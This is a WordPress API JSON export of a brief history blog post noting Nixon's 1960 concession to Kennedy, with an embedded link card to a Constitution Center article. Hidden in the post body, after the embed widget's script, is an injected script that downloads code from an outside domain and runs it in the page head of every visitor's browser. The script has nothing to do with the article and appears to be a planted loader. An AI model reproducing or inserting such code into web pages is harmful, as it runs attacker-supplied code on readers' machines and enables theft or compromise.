{"id":968,"date":"2020-11-04T20:00:06","date_gmt":"2020-11-04T20:00:06","guid":{"rendered":"https:\/\/www.historynet.net\/?p=968"},"modified":"2020-11-04T20:00:06","modified_gmt":"2020-11-04T20:00:06","slug":"in-1960-richard-nixon-yes-nixon-put-country-ahead-of-victory","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2020\/11\/04\/in-1960-richard-nixon-yes-nixon-put-country-ahead-of-victory\/","title":{"rendered":"In 1960 Richard Nixon (yes, Nixon) put country ahead of victory"},"content":{"rendered":"<p>On Wednesday afternoon, November 9, 1960, Nixon officially conceded the election to Kennedy. He told his friend, journalist Earl Mazo, that \u201cour country cannot afford the agony of a constitutional crisis.\u201d<\/p>\n<p>&nbsp;<hr?\n\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article\">\n<h4><a href=\"https:\/\/constitutioncenter.org\/blog\/the-drama-behind-president-kennedys-1960-election-win\/\">The drama behind President Kennedy&#8217;s 1960 election win<\/a><\/h4>\n<p>On November 8, 1960, John F. Kennedy was elected President of the United States in a bitter contest against the incumbent Vice President, Richard Nixon. It was one of the closest elections in American history, and some people still doubt its outcome.<\/p>\n<\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On Wednesday afternoon, November 9, 1960, Nixon officially conceded the election to Kennedy. He told his friend, journalist Earl Mazo, that \u201cour country cannot afford the agony of a constitutional crisis.\u201d &nbsp;<\/p>\n","protected":false},"author":1,"featured_media":969,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-968","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/968","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=968"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/968\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}